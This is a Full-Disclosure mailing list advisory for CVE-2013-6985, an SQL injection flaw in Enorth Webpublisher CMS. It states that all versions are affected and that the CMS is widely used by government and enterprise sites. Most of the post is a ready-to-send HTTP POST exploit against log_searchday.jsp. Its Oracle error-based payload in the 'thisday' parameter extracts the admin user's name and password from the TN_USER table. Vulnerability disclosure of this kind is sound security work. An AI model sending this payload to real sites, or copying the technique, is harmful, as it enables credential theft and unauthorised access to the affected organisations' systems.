[Full-disclosure] [CVE-2013-6985]SQL Injection Vulnerability In Enorth Webpublisher CMS

["xin.wang" <xin.wang@xxxxxxxxxxxxxxxxxxxx>]

Title:
====
[CVE-2013-6985]SQL Injection Vulnerability In Enorth Webpublisher CMS

Vendor:
======
http://products.enorth.com.cn/bfnrglxt/index.shtml

Severity: 
=======
Important

Versions Affected: 
==============
All versions

Author: 
======
xin.wang(xin.wang(at)dbappsecurity.com.cn)

Abstract:
=======
Webpublisher CMS so far of the scale of tens of thousands of web sites, with 
the government, enterprises, scientific research and education and media 
industries fields such as nearly thousands of business users.
The Vulnerability Laboratory Research Team discovered SQL Injection 
vulnerability in all versions of Enorth Webpublisher CMS.

Exploit:
======
POST /pub/m_worklog/log_searchday.jsp HTTP/1.1
Host: www.test.com
User-Agent: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Cookie: 
Pragma: no-cache
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 180

thisday=20131012') and UTL_INADDR.get_host_name((select v from (select 
rownum,USER_NAME||chr(94)||PASS_WORD v from TN_USER WHERE USER_ID=1) where 
rownum=1))>0--&cx.y=16&querytype=1

=====================================





_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/